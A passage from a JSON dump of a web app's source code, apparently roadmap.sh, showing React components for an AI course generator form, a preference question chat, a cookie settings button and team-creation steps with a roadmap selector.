text-sm text-white hover:opacity-80\"\n            >\n              Need more? Upgrade\n            </button>\n          </div>\n        )}\n\n        <h1 className=\"mb-0.5 text-center text-4xl font-semibold max-md:text-left max-md:text-xl lg:mb-3\">\n          What can I help you learn?\n        </h1>\n        <p className=\"text-center text-lg text-balance text-gray-600 max-md:text-left max-md:text-sm\">\n          Enter a topic below to generate a personalized course for it\n        </p>\n      </div>\n\n      <form\n        className=\"mt-10 space-y-4\"\n        onSubmit={(e) => {\n          e.preventDefault();\n          handleSubmit();\n        }}\n      >\n        <div className=\"flex flex-col gap-2\">\n          <label htmlFor={titleFieldId} className=\"inline-block text-gray-500\">\n            What can I help you learn?\n          </label>\n          <input\n            type=\"text\"\n            id={titleFieldId}\n            placeholder=\"Enter a topic\"\n            value={title}\n            onChange={(e) => {\n              setTitle(e.target.value);\n              setShowFineTuneOptions(false);\n            }}\n            className=\"block w-full rounded-xl border border-gray-200 bg-white p-4 outline-none placeholder:text-gray-500 focus:border-gray-500\"\n            required\n            minLength={3}\n            data-clarity-unmask=\"true\"\n          />\n        </div>\n        <div className=\"flex flex-col gap-2\">\n          <label className=\"inline-block text-gray-500\">\n            Choose the format\n          </label>\n          <div className=\"grid grid-cols-3 gap-3\">\n            {allowedFormats.map((format) => {\n              const isSelected = format.value === selectedFormat;\n\n              return (\n                <FormatItem\n                  key={format.value}\n                  label={format.label}\n                  onClick={() => {\n                    setSelectedFormat(format.value);\n                    setUrlParams({ format: format.value });\n                  }}\n                  icon={format.icon}\n                  isSelected={isSelected}\n                />\n              );\n            })}\n          </div>\n        </div>\n\n        <label\n          className={cn(\n            'flex cursor-pointer items-center gap-2 rounded-xl border border-gray-200 bg-white p-4 transition-all',\n          )}\n          htmlFor={fineTuneOptionsId}\n        >\n          <input\n            type=\"checkbox\"\n            id={fineTuneOptionsId}\n            checked={showFineTuneOptions}\n            onChange={(e) => {\n              if (!trimmedTitle) {\n                toast.error('Please enter a topic first');\n                return;\n              }\n\n              if (trimmedTitle.length < 3) {\n                toast.error('Topic must be at least 3 characters long');\n                return;\n              }\n\n              setShowFineTuneOptions(e.target.checked);\n            }}\n          />\n          <span className=\"max-sm:hidden\">\n            Answer the following questions for a better {selectedFormat}\n          </span>\n          <span className=\"sm:hidden\">Customize your {selectedFormat}</span>\n        </label>\n\n        {showFineTuneOptions && (\n          <QuestionAnswerChat\n            term={title}\n            format={selectedFormat}\n            questionAnswerChatMessages={questionAnswerChatMessages}\n            setQuestionAnswerChatMessages={setQuestionAnswerChatMessages}\n          />\n        )}\n\n        <button\n          type=\"submit\"\n          className=\"flex w-full items-center justify-center gap-2 rounded-xl bg-black p-4 text-white focus:outline-none disabled:cursor-not-allowed disabled:opacity-80\"\n          disabled={!canGenerate || isLimitLoading}\n        >\n          <SparklesIcon className=\"size-4\" />\n          Generate\n        </button>\n      </form>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/ContentGenerator/FormatItem.tsx",
    "content": "import { type LucideIcon } from 'lucide-react';\nimport { cn } from '../../lib/classname';\n\ntype FormatItemProps = {\n  label: string;\n  onClick: () => void;\n  icon: LucideIcon;\n  isSelected: boolean;\n};\n\nexport function FormatItem(props: FormatItemProps) {\n  const { label, onClick, icon: Icon, isSelected } = props;\n\n  return (\n    <button\n      type=\"button\"\n      className={cn(\n        'flex w-full flex-col items-center justify-center gap-2.5 rounded-xl border border-gray-200 p-2 py-8',\n        isSelected\n          ? 'border-gray-400 font-medium bg-white'\n          : 'bg-white text-gray-400 hover:bg-white hover:border-gray-300',\n      )}\n      onClick={onClick}\n    >\n      <Icon className=\"size-6\" />\n      <span>{label}</span>\n    </button>\n  );\n}\n"
  },
  {
    "path": "src/components/ContentGenerator/QuestionAnswerChat.tsx",
    "content": "import { useQuery } from '@tanstack/react-query';\nimport { queryClient } from '../../stores/query-client';\nimport {\n  aiQuestionSuggestionsOptions,\n  type AIQuestionSuggestionsResponse,\n} from '../../queries/user-ai-session';\nimport type { AllowedFormat } from './ContentGenerator';\nimport { Loader2Icon, RefreshCcwIcon, SendIcon, Trash2 } from 'lucide-react';\nimport { useEffect, useRef, useState } from 'react';\nimport { cn } from '../../lib/classname';\nimport { flushSync } from 'react-dom';\nimport { CheckIcon } from '../ReactIcons/CheckIcon';\nimport { Tooltip } from '../Tooltip';\n\nexport type QuestionAnswerChatMessage =\n  | { role: 'user'; answer: string }\n  | {\n      role: 'assistant';\n      question: string;\n      possibleAnswers: string[];\n    };\n\ntype QuestionAnswerChatProps = {\n  term: string;\n  format: AllowedFormat | (string & {});\n  questionAnswerChatMessages: QuestionAnswerChatMessage[];\n  setQuestionAnswerChatMessages: (\n    messages: QuestionAnswerChatMessage[],\n  ) => void;\n  defaultQuestions?: AIQuestionSuggestionsResponse['questions'];\n  type?: 'create' | 'update';\n\n  from?: 'content' | 'quiz';\n\n  className?: string;\n};\n\nexport function QuestionAnswerChat(props: QuestionAnswerChatProps) {\n  const {\n    term,\n    format,\n    defaultQuestions,\n    questionAnswerChatMessages,\n    setQuestionAnswerChatMessages,\n    type = 'create',\n    className = '',\n    from = 'content',\n  } = props;\n\n  const [activeMessageIndex, setActiveMessageIndex] = useState(\n    defaultQuestions?.length ?? 0,\n  );\n  const [message, setMessage] = useState('');\n  const [status, setStatus] = useState<'answering' | 'done'>('answering');\n\n  const scrollAreaRef = useRef<HTMLDivElement>(null);\n  const inputRef = useRef<HTMLInputElement>(null);\n\n  const {\n    data: aiQuestionSuggestions,\n    isLoading: isLoadingAiQuestionSuggestions,\n  } = useQuery(\n    aiQuestionSuggestionsOptions({ term, format, from }, defaultQuestions),\n    queryClient,\n  );\n\n  const activeMessage = aiQuestionSuggestions?.questions[activeMessageIndex];\n\n  const scrollToBottom = () => {\n    if (!scrollAreaRef.current) {\n      return;\n    }\n\n    scrollAreaRef.current.scrollTo({\n      top: scrollAreaRef.current.scrollHeight,\n      behavior: 'instant',\n    });\n  };\n  const handleAnswerSelect = (answer: string) => {\n    const trimmedAnswer = answer.trim();\n    if (!activeMessage || !trimmedAnswer) {\n      return;\n    }\n\n    const newMessages: QuestionAnswerChatMessage[] = [\n      ...questionAnswerChatMessages,\n      {\n        role: 'assistant',\n        ...activeMessage,\n      },\n      {\n        role: 'user',\n        answer: trimmedAnswer,\n      },\n    ];\n\n    setQuestionAnswerChatMessages(newMessages);\n    setMessage('');\n\n    const hasMoreMessages =\n      activeMessageIndex < aiQuestionSuggestions.questions.length - 1;\n    if (!hasMoreMessages) {\n      setStatus('done');\n      return;\n    }\n\n    flushSync(() => {\n      setActiveMessageIndex(activeMessageIndex + 1);\n      setStatus('answering');\n\n      // focus the input\n      inputRef.current?.focus();\n    });\n\n    scrollToBottom();\n  };\n\n  const handleReset = () => {\n    setQuestionAnswerChatMessages([]);\n    setActiveMessageIndex(0);\n    setStatus('answering');\n  };\n\n  const handleEditMessage = (messageIndex: number) => {\n    // Remove the assistant question and user answer pair\n    // Since user messages are at odd indices, we want to remove both\n    // the assistant message (at messageIndex - 1) and the user message (at messageIndex)\n    const assistantMessageIndex = messageIndex - 1;\n    const newMessages = questionAnswerChatMessages.slice(\n      0,\n      assistantMessageIndex,\n    );\n    setQuestionAnswerChatMessages(newMessages);\n\n    // Calculate which question should be active\n    // Since we removed both assistant and user messages, the question index\n    // is simply assistantMessageIndex / 2\n    const questionIndex = Math.floor(assistantMessageIndex / 2);\n    setActiveMessageIndex(questionIndex);\n    setStatus('answering');\n\n    setMessage('');\n    setTimeout(() => {\n      inputRef.current?.focus();\n    }, 0);\n  };\n\n  useEffect(() => {\n    scrollToBottom();\n  }, [defaultQuestions, type]);\n\n  return (\n    <>\n      <div\n        className={cn(\n          'relative h-[350px] w-full overflow-hidden rounded-xl border border-gray-200 bg-white',\n          className,\n        )}\n      >\n        {isLoadingAiQuestionSuggestions && (\n          <div className=\"absolute inset-0 flex items-center justify-center bg-white\">\n            <div className=\"flex animate-pulse items-center gap-2 rounded-full border border-gray-200 bg-gray-50 p-2 px-4 text-sm\">\n              <Loader2Icon className=\"size-4 animate-spin\" />\n              <span>Generating personalized questions...</span>\n            </div>\n          </div>\n        )}\n\n        {!isLoadingAiQuestionSuggestions && status === 'done' && (\n          <div className=\"absolute inset-0 flex items-center justify-center bg-white\">\n            <div className=\"flex flex-col items-center\">\n              <CheckIcon additionalClasses=\"size-12\" />\n              <p className=\"mt-3 text-lg font-semibold\">Preferences saved</p>\n              <p className=\"text-sm text-gray-500\">\n                You can now start generating {format}\n              </p>\n\n              <button\n                className=\"mt-4 flex items-center gap-2 rounded-lg bg-gray-100 px-4 py-1.5 text-sm text-gray-500 hover:bg-gray-200 focus:outline-none\"\n                onClick={handleReset}\n              >\n                <RefreshCcwIcon className=\"size-3.5\" />\n                Reanswer questions\n              </button>\n            </div>\n          </div>\n        )}\n\n        {!isLoadingAiQuestionSuggestions && status === 'answering' && (\n          <>\n            <div className=\"flex h-full w-full flex-col bg-white\">\n              <div\n                ref={scrollAreaRef}\n                className=\"relative h-full w-full grow overflow-y-auto\"\n              >\n                <div className=\"absolute inset-0 flex flex-col\">\n                  <div className=\"flex w-full grow flex-col justify-end gap-2 p-2\">\n                    {questionAnswerChatMessages.map((message, index) => (\n                      <QuestionAnswerChatMessage\n                        key={index}\n                        role={message.role}\n                        question={\n                          message.role === 'assistant'\n                            ? message.question\n                            : undefined\n                        }\n                        answer={\n                          message.role === 'user' ? message.answer : undefined\n                        }\n                        onEdit={\n                          message.role === 'user'\n                            ? () => handleEditMessage(index)\n                            : undefined\n                        }\n                      />\n                    ))}\n\n                    {activeMessage && (\n                      <QuestionAnswerChatMessage\n                        role=\"assistant\"\n                        question={activeMessage?.question ?? ''}\n                        possibleAnswers={activeMessage.possibleAnswers}\n                        onAnswerSelect={handleAnswerSelect}\n                      />\n                    )}\n                  </div>\n                </div>\n              </div>\n\n              {!activeMessage && type === 'update' && (\n                <div className=\"p-2\">\n                  <button\n                    className=\"flex w-full items-center justify-center gap-2 rounded-lg border border-gray-200 bg-gray-200 p-2 hover:bg-gray-300\"\n                    onClick={() => {\n                      setQuestionAnswerChatMessages([]);\n                      setActiveMessageIndex(0);\n                      setStatus('answering');\n                    }}\n                  >\n                    <Trash2 className=\"size-4\" />\n                    Reanswer all questions\n                  </button>\n                </div>\n              )}\n\n              {activeMessage && (\n                <div className=\"p-2\">\n                  <div className=\"rounded-lg border border-gray-200 bg-white\">\n                    <div className=\"flex w-full items-center justify-between gap-2 p-2\">\n                      <input\n                        ref={inputRef}\n                        value={message}\n                        onChange={(e) => setMessage(e.target.value)}\n                        className=\"w-full bg-transparent text-sm focus:outline-none\"\n                        placeholder={\n                          activeMessage.possibleAnswers\n                            ? 'Type your answer...'\n                            : 'Or type your own answer...'\n                        }\n                        data-clarity-unmask=\"true\"\n                        autoFocus\n                        onKeyDown={(e) => {\n                          if (e.key === 'Enter' && !e.shiftKey) {\n                            e.preventDefault();\n                            handleAnswerSelect(message);\n                            setMessage('');\n                          }\n                        }}\n                      />\n\n                      <button\n                        type=\"button\"\n                        className=\"flex size-7 shrink-0 items-center justify-center rounded-md hover:bg-gray-100 focus:outline-none disabled:cursor-not-allowed disabled:opacity-50\"\n                        disabled={!message}\n                        onClick={() => {\n                          handleAnswerSelect(message);\n                          setMessage('');\n                        }}\n                      >\n                        <SendIcon className=\"size-4\" />\n                      </button>\n                    </div>\n                  </div>\n                </div>\n              )}\n            </div>\n          </>\n        )}\n      </div>\n    </>\n  );\n}\n\ntype QuestionAnswerChatMessageProps = {\n  role: 'user' | 'assistant';\n  question?: string;\n  answer?: string;\n  possibleAnswers?: string[];\n  onAnswerSelect?: (answer: string) => void;\n  onEdit?: () => void;\n};\n\nfunction QuestionAnswerChatMessage(props: QuestionAnswerChatMessageProps) {\n  const { role, question, answer, possibleAnswers, onAnswerSelect, onEdit } =\n    props;\n\n  const hasAnswers = possibleAnswers && possibleAnswers.length > 0;\n\n  return (\n    <div\n      className={cn(\n        'flex w-fit items-center gap-2 rounded-lg border p-2 text-pretty',\n        role === 'user' && 'self-end border-gray-200 bg-gray-300/30',\n        role === 'assistant' && 'border-yellow-200 bg-yellow-300/30',\n      )}\n    >\n      {role === 'assistant' && (\n        <div className=\"text-sm\">\n          <div className={cn(hasAnswers && 'mb-2')}>{question}</div>\n          {hasAnswers && onAnswerSelect && (\n            <div className=\"mt-2\">\n              <div className=\"flex flex-wrap gap-1.5\">\n                {possibleAnswers.map((answer) => (\n                  <button\n                    type=\"button\"\n                    key={answer}\n                    className=\"cursor-pointer rounded-md border border-yellow-300/50 bg-white/70 px-2 py-1 text-xs text-gray-700 hover:bg-white hover:shadow-sm focus:outline-none\"\n                    onClick={() => {\n                      onAnswerSelect(answer);\n                    }}\n                  >\n                    {answer}\n                  </button>\n                ))}\n              </div>\n            </div>\n          )}\n        </div>\n      )}\n      {role === 'user' && (\n        <div className=\"flex items-center gap-2\">\n          <div className=\"text-sm\">{answer}</div>\n          {onEdit && (\n            <div className=\"group relative\">\n              <button\n                type=\"button\"\n                className=\"flex size-6 shrink-0 items-center justify-center rounded-md text-gray-500 opacity-70 hover:bg-gray-100 hover:opacity-100 focus:outline-none\"\n                onClick={onEdit}\n              >\n                <Trash2 className=\"size-4\" />\n              </button>\n              <Tooltip additionalClass=\"-translate-y-2\" position=\"top-right\">\n                Reanswer after this point\n              </Tooltip>\n            </div>\n          )}\n        </div>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/CookieSettingsButton.tsx",
    "content": "import { cn } from '../lib/classname';\nimport { Cookie } from 'lucide-react';\n\nexport function CookieSettingsButton() {\n  return (\n    <div className=\"mt-12 flex items-center justify-start\">\n      <button\n        onClick={() => {\n          // @ts-ignore\n          const ot: any = window.OneTrust;\n          // @ts-ignore\n          const optanon: any = window.Optanon;\n\n          if (ot) {\n            ot.ToggleInfoDisplay();\n          } else if (optanon) {\n            optanon.ToggleInfoDisplay();\n          } else {\n            console.warn('OneTrust/Optanon SDK not found or not loaded yet.');\n          }\n        }}\n        className={cn(\n          'flex items-center gap-2 rounded-md bg-slate-800/80 px-3 py-1.5 text-sm text-gray-400 transition-colors hover:bg-slate-700 hover:text-white',\n        )}\n      >\n        <Cookie className=\"h-4 w-4\" />\n        Cookie Settings\n      </button>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/CreateTeam/ContentConfirmationModal.tsx",
    "content": "import { Modal } from '../Modal';\n\ntype ContentConfirmationModalProps = {\n  onClose: () => void;\n  onClick: (shouldCopy: boolean) => void;\n};\n\nexport function ContentConfirmationModal(props: ContentConfirmationModalProps) {\n  const { onClose, onClick } = props;\n\n  return (\n    <Modal onClose={onClose} wrapperClassName=\"max-w-lg\">\n      <div className=\"p-4\">\n        <h2 className=\"text-lg font-semibold\">\n          Copy Node Details and Resources?\n        </h2>\n        <p className=\"balanc text-gray-600\">\n          This will just copy the roadmap in your team. Would you like to copy\n          the resource links and node details as well?\n        </p>\n        <div className=\"mt-4 grid grid-cols-2 gap-2\">\n          <button\n            className=\"rounded-lg border p-2.5 font-normal\"\n            onClick={() => {\n              onClick(false);\n            }}\n          >\n            No, copy roadmap only\n          </button>\n          <button\n            className=\"rounded-lg border bg-black p-2.5 font-normal text-white hover:opacity-80\"\n            onClick={() => {\n              onClick(true);\n            }}\n          >\n            Yes, also copy resources\n          </button>\n        </div>\n      </div>\n    </Modal>\n  );\n}\n"
  },
  {
    "path": "src/components/CreateTeam/CreateTeamForm.tsx",
    "content": "import { useEffect, useState } from 'react';\nimport { Stepper } from '../Stepper';\nimport { Step0, type ValidTeamType } from './Step0';\nimport { Step1, type ValidTeamSize } from './Step1';\nimport { Step2 } from './Step2';\nimport { httpGet } from '../../lib/http';\nimport { getUrlParams, setUrlParams } from '../../lib/browser';\nimport { pageProgressMessage } from '../../stores/page';\nimport type { TeamResourceConfig } from './RoadmapSelector';\nimport { Step3 } from './Step3';\nimport { Step4 } from './Step4';\nimport { useToast } from '../../hooks/use-toast';\n\nexport interface TeamDocument {\n  _id?: string;\n  name: string;\n  avatar?: string;\n  creatorId: string;\n  links: {\n    website?: string;\n    github?: string;\n    linkedIn?: string;\n  };\n  type: ValidTeamType;\n  personalProgressOnly?: boolean;\n  canMemberSendInvite: boolean;\n  teamSize?: ValidTeamSize;\n  createdAt: Date;\n  updatedAt: Date;\n}\n\nexport function CreateTeamForm() {\n  // Can't use hook `useParams` because it runs asynchronously\n  const { s: queryStepIndex, t: teamId } = getUrlParams();\n\n  const toast = useToast();\n  const [team, setTeam] = useState<TeamDocument>();\n\n  const [loadingTeam, setLoadingTeam] = useState(!!teamId && !team?._id);\n  const [stepIndex, setStepIndex] = useState(0);\n\n  async function loadTeam(\n    teamIdToFetch: string,\n    requiredStepIndex: number | string,\n  ) {\n    const { response, error } = await httpGet<TeamDocument>(\n      `${import.meta.env.PUBLIC_API_URL}/v1-get-team/${teamIdToFetch}`,\n    );\n\n    if (error || !response) {\n      toast.error(error?.message || 'Error loading team');\n      window.location.href = '/account';\n      return;\n    }\n\n    const requiredStepIndexNumber = parseInt(requiredStepIndex as string, 10);\n    const completedSteps = Array(requiredStepIndexNumber)\n      .fill(1)\n      .map((_, counter) => counter);\n\n    setTeam(response);\n    setSelectedTeamType(response.type);\n    setCompletedSteps(completedSteps);\n    setStepIndex(requiredStepIndexNumber);\n\n    await loadTeamResourceConfig(teamIdToFetch);\n  }\n\n  const [teamResourceConfig, setTeamResourceConfig] =\n    useState<TeamResourceConfig>([]);\n\n  async function loadTeamResourceConfig(teamId: string) {\n    const { error, response } = await httpGet<TeamResourceConfig>(\n      `${import.meta.env.PUBLIC_API_URL}/v1-get-team-resource-config/${teamId}`,\n    );\n    if (error || !Array.isArray(response)) {\n      console.error(error);\n      return;\n    }\n\n    setTeamResourceConfig(response);\n  }\n\n  useEffect(() => {\n    if (!teamId || !queryStepIndex || team) {\n      return;\n    }\n\n    pageProgressMessage.set('Fetching team');\n    setLoadingTeam(true);\n    loadTeam(teamId, queryStepIndex).finally(() => {\n      setLoadingTeam(false);\n      pageProgressMessage.set('');\n    });\n\n    // fetch team and move to step\n  }, [teamId, queryStepIndex]);\n\n  const [selectedTeamType, setSelectedTeamType] = useState<ValidTeamType>(\n    team?.type || 'company',\n  );\n\n  const [completedSteps, setCompletedSteps] = useState([0]);\n  if (loadingTeam) {\n    return null;\n  }\n\n  let stepForm = null;\n  if (stepIndex === 0) {\n    stepForm = (\n      <Step0\n        team={team}\n        selectedTeamType={selectedTeamType}\n        setSelectedTeamType={setSelectedTeamType}\n        onStepComplete={() => {\n          if (team?._id) {\n            setUrlParams({ t: team._id, s: '1' });\n          }\n\n          setCompletedSteps([0]);\n          setStepIndex(1);\n        }}\n      />\n    );\n  } else if (stepIndex === 1) {\n    stepForm = (\n      <Step1\n        team={team}\n        onBack={() => {\n          if (team?._id) {\n            setUrlParams({ t: team._id, s: '0' });\n          }\n\n          setStepIndex(0);\n        }}\n        onStepComplete={(team: TeamDocument) => {\n          const createdTeamId = team._id!;\n\n          setUrlParams({ t: createdTeamId, s: '2' });\n\n          setCompletedSteps([0, 1]);\n          setStepIndex(2);\n          setTeam(team);\n        }}\n        selectedTeamType={selectedTeamType}\n      />\n    );\n  } else if (stepIndex === 2) {\n    stepForm = (\n      <Step2\n        team={team!}\n        teamResourceConfig={teamResourceConfig}\n        setTeamResourceConfig={setTeamResourceConfig}\n        onBack={() => {\n          if (team) {\n            setUrlParams({ t: team._id!, s: '1' });\n          }\n\n          setStepIndex(1);\n        }}\n        onNext={() => {\n          setUrlParams({ t: teamId!, s: '3' });\n          setCompletedSteps([0, 1, 2]);\n          setStepIndex(3);\n        }}\n      />\n    );\n  } else if (stepIndex === 3) {\n    stepForm = (\n      <Step3\n        team={team}\n        onBack={() => {\n          if (team) {\n            setUrlParams({ t: team._id!, s: '2' });\n          }\n\n          setStepIndex(2);\n        }}\n        onNext={() => {\n          if (team) {\n            setUrlParams({ t: team._id!, s: '4' });\n          }\n\n          setCompletedSteps([0, 1, 2, 3]);\n          setStepIndex(4);\n        }}\n      />\n    );\n  } else if (stepIndex === 4) {\n    stepForm = <Step4 team={team!} />;\n  }\n\n  return (\n    <div className={'mx-auto max-w-[700px] py-1 md:py-6'}>\n      <div\n        className={\n          'mb-3 flex flex-col items-start border-b pb-3 md:mb-8 md:items-center md:border-b-0 md:pb-0'\n        }\n      >\n        <h1 className={'text-xl font-bold md:text-4xl'}>Create Team</h1>\n        <p className={'mt-1 text-sm text-gray-500 md:mt-2 md:text-base'}>\n          Complete the steps below to create your team\n        </p>\n      </div>\n      <div className=\"mb-8 mt-8 hidden w-full sm:flex\">\n        <Stepper\n          activeIndex={stepIndex}\n          completeSteps={completedSteps}\n          steps={[\n            { label: 'Type' },\n            { label: 'Details' },\n            { label: 'Skills' },\n            { label: 'Members' },\n          ]}\n        />\n      </div>\n\n      {stepForm}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/CreateTeam/NextButton.tsx",
    "content": "import { Spinner } from '../ReactIcons/Spinner';\n\ntype NextButtonProps = {\n  isLoading?: boolean;\n  loadingMessage?: string;\n  text: string;\n  hasNextArrow?: boolean;\n  onClick?: () => void;\n  type?: string;\n};\n\nexport function NextButton(props: NextButtonProps) {\n  const {\n    isLoading = false,\n    text = 'Next Step',\n    type = 'button',\n    loadingMessage = 'Please wait ..',\n    onClick = () => null,\n    hasNextArrow = true,\n  } = props;\n\n  return (\n    <button\n      type={type as any}\n      onClick={onClick}\n      disabled={isLoading}\n      className={\n        'rounded-md border border-black bg-black px-4 py-2 text-white disabled:opacity-50'\n      }\n    >\n      {isLoading ? (\n        <span className={'flex items-center justify-center'}>\n          <Spinner />\n          <span className=\"ml-2\">{loadingMessage}</span>\n        </span>\n      ) : (\n        <>\n          {text}\n          {hasNextArrow && <span className=\"ml-1\">&rarr;</span>}\n        </>\n      )}\n    </button>\n  );\n}\n"
  },
  {
    "path": "src/components/CreateTeam/RoadmapSelector.tsx",
    "content": "import { useEffect, useState } from 'react';\nimport { httpGet, httpPut } from '../../lib/http';\nimport type { PageType } from '../CommandMenu/CommandMenu';\nimport { pageProgressMessage } from '../../stores/page';\nimport { UpdateTeamResourceModal } from './UpdateTeamResourceModal';\nimport { SelectRoadmapModal } from './SelectRoadmapModal';\nimport { Map, Shapes } from 'lucide-react';\nimport type {\n  AllowedRoadmapVisibility,\n  RoadmapDocument,\n} from '../CustomRoadmap/CreateRoadmap/CreateRoadmapModal';\nimport { CreateRoadmapModal } from '../CustomRoadmap/CreateRoadmap/CreateRoadmapModal';\nimport { useToast } from '../../hooks/use-toast';\nimport { ContentConfirmationModal } from './ContentConfirmationModal';\n\nexport type TeamResourceConfig = {\n  isCustomResource: boolean;\n  roadmapSlug?: string;\n  title: string;\n  description?: string;\n  visibility?: AllowedRoadmapVisibility;\n  resourceId: string;\n  resourceType: string;\n  removed: string[];\n  topics?: number;\n  sharedTeamMemberIds: string[];\n  sharedFriendIds: string[];\n  defaultRoadmapId?: string;\n}[];\n\ntype RoadmapSelectorProps = {\n  teamId: string;\n  teamResources: TeamResourceConfig;\n  setTeamResources: (config: TeamResourceConfig) => void;\n};\n\nexport function RoadmapSelector(props: RoadmapSelectorProps) {\n  const { teamId, teamResources = [], setTeamResources } = props;\n\n  const toast = useToast();\n  const [removingRoadmapId, setRemovingRoadmapId] = useState<string>('');\n  const [showSelectRoadmapModal, setShowSelectRoadmapModal] = useState(false);\n  const [allRoadmaps, setAllRoadmaps] = useState<PageType[]>([]);\n  const [changingRoadmapId, setChangingRoadmapId] = useState<string>('');\n  const [isCreatingRoadmap, setIsCreatingRoadmap] = useState<boolean>(false);\n\n  const [error, setError] = useState<string>('');\n  const [confirmationContentId, setConfirmationContentId] = useState<string>();\n\n  async function loadAllRoadmaps() {\n    const { error, response } = await httpGet<PageType[]>(`/pages.json`);\n\n    if (error) {\n      toast.error(error.message || 'Something went wrong. Please try again!');\n      setError(error.message || 'Something went wrong. Please try again!');\n      return;\n    }\n\n    if (!response) {\n      return [];\n    }\n\n    const allRoadmaps = response\n      .filter((page) => page.group === 'Roadmaps')\n      .sort((a, b) => {\n        if (a.title === 'Android') return 1;\n        return a.title.localeCompare(b.title);\n      });\n\n    setAllRoadmaps(allRoadmaps);\n    return response;\n  }\n\n  async function deleteResource(roadmapId: string) {\n    if (!teamId) {\n      return;\n    }\n\n    pageProgressMessage.set(`Deleting resource`);\n    const { error, response } = await httpPut<TeamResourceConfig>(\n      `${\n        import.meta.env.PUBLIC_API_URL\n      }/v1-delete-team-resource-config/${teamId}`,\n      {\n        resourceId: roadmapId,\n        resourceType: 'roadmap',\n      },\n    );\n\n    if (error || !response) {\n      setError(error?.message || 'Error deleting roadmap');\n      return;\n    }\n\n    setTeamResources(response);\n  }\n\n  async function onRemove(resourceId: string) {\n    pageProgressMessage.set('Removing roadmap');\n\n    deleteResource(resourceId).finally(() => {\n      pageProgressMessage.set('');\n    });\n  }\n\n  async function addTeamResource(roadmapId: string, shouldCopyContent = false) {\n    if (!teamId) {\n      return;\n    }\n\n    pageProgressMessage.set(`Adding roadmap to team`);\n    const renderer = allRoadmaps.find((r) => r.id === roadmapId)?.renderer;\n    const { error, response } = await httpPut<TeamResourceConfig>(\n      `${\n        import.meta.env.PUBLIC_API_URL\n      }/v1-update-team-resource-config/${teamId}`,\n      {\n        teamId: teamId,\n        resourceId: roadmapId,\n        resourceType: 'roadmap',\n        removed: [],\n        renderer: renderer || 'balsamiq',\n        shouldCopyContent,\n      },\n    );\n\n    if (error || !response) {\n      setError(error?.message || 'Error adding roadmap');\n      return;\n    }\n\n    setTeamResources(response);\n    if (renderer === 'editor') {\n      setShowSelectRoadmapModal(false);\n    }\n  }\n\n  useEffect(() => {\n    loadAllRoadmaps().finally(() => {});\n  }, []);\n\n  function handleCustomRoadmapCreated(roadmap: RoadmapDocument) {\n    const { _id: roadmapId } = roadmap;\n    if (!roadmapId) {\n      return;\n    }\n\n    loadAllRoadmaps().finally(() => {});\n    addTeamResource(roadmapId).finally(() => {\n      pageProgressMessage.set('');\n    });\n  }\n\n  const confirmationContentIdModal = confirmationContentId && (\n    <ContentConfirmationModal\n      onClose={() => {\n        setConfirmationContentId('');\n      }}\n      onClick={(shouldCopy) => {\n        addTeamResource(confirmationContentId, shouldCopy).finally(() => {\n          pageProgressMessage.set('');\n          setConfirmationContentId('');\n        });\n      }}\n    />\n  );\n\n  return (\n    <div>\n      {confirmationContentIdModal}\n\n      {changingRoadmapId && (\n        <UpdateTeamResourceModal\n          onClose={() => setChangingRoadmapId('')}\n          resourceId={changingRoadmapId}\n          resourceType={'roadmap'}\n          teamId={teamId}\n          setTeamResourceConfig={setTeamResources}\n          defaultRemovedItems={\n            teamResources.find((c) => c.resourceId === changingRoadmapId)\n              ?.removed || []\n          }\n        />\n      )}\n      {showSelectRoadmapModal && (\n        <SelectRoadmapModal\n          onClose={() => setShowSelectRoadmapModal(false)}\n          teamResourceConfig={teamResources.map((r) => r.resourceId)}\n          allRoadmaps={allRoadmaps.filter((r) => r.renderer === 'editor')}\n          teamId={teamId}\n          onRoadmapAdd={(roadmapId) => {\n            const isEditorRoadmap = allRoadmaps.find(\n              (r) => r.id === roadmapId && r.renderer === 'editor',\n            );\n\n            if (!isEditorRoadmap) {\n              addTeamResource(roadmapId).finally(() => {\n                pageProgressMessage.set('');\n              });\n\n              return;\n            }\n\n            setShowSelectRoadmapModal(false);\n            setConfirmationContentId(roadmapId);\n          }}\n          onRoadmapRemove={(roadmapId) => {\n            onRemove(roadmapId).finally(() => {});\n          }}\n        />\n      )}\n\n      <div className=\"my-3 flex items-center gap-4\">\n        {isCreatingRoadmap && (\n          <CreateRoadmapModal\n            teamId={teamId}\n            onClose={() => setIsCreatingRoadmap(false)}\n            onCreated={(roadmap: RoadmapDocument) => {\n              handleCustomRoadmapCreated(roadmap);\n              setIsCreatingRoadmap(false);\n            }}\n          />\n        )}\n\n        <button\n          className=\"flex h-10 grow items-center justify-center gap-2 rounded-md border border-black bg-white text-black transition-colors hover:bg-black hover:text-white\"\n          onClick={() => {\n            setShowSelectRoadmapModal(true);\n          }}\n        >\n          <Map className=\"h-4 w-4 stroke-[2.5]\" />\n          Pick from our roadmaps\n        </button>\n\n        <span className=\"text-base text-gray-400\">or</span>\n\n        <button\n          className=\"flex h-10 grow items-center justify-center gap-2 rounded-md border border-black bg-white text-black transition-colors hover:bg-black hover:text-white\"\n          onClick={() => {\n            setIsCreatingRoadmap(true);\n          }}\n        >\n          <Shapes className=\"h-4 w-4 stroke-[2.5]\" />\n          Create Custom Roadmap\n        </button>\n      </div>\n\n      {!teamResources.length && (\n        <div className=\"flex min-h-[240px] flex-col items-center justify-center rounded-lg border\">\n          <Map className=\"mb-2 h-12 w-12 text-gray-300\" />\n          <p className={'text-lg font-semibold'}>No roadmaps selected.</p>\n          <p className={'text-base text-gray-400'}>\n            Pick from{' '}\n            <span\n              onClick={() => setShowSelectRoadmapModal(true)}\n              className=\"cursor-pointer underline\"\n            >\n              our roadmaps\n            </span>{' '}\n            or{' '}\n            <span\n              onClick={() => {\n                setIsCreatingRoadmap(true);\n              }}\n              className=\"cursor-pointer underline\"\n            >\n              create a new one\n            </span>\n            .\n          </p>\n        </div>\n      )}\n\n      {teamResources.length > 0 && (\n        <div className=\"mb-3 grid grid-cols-1 flex-wrap gap-2.5 sm:grid-cols-3\">\n          {teamResources.map(\n            ({\n              isCustomResource,\n              title: roadmapTitle,\n              resourceId,\n              removed: removedTopics,\n              topics,\n            }) => {\n              return (\n                <div\n                  className=\"relative flex flex-col items-start overflow-hidden rounded-md border border-gray-300\"\n                  key={resourceId}\n                >\n                  <div className={'w-full grow px-3 pb-2 pt-4'}>\n                    <span 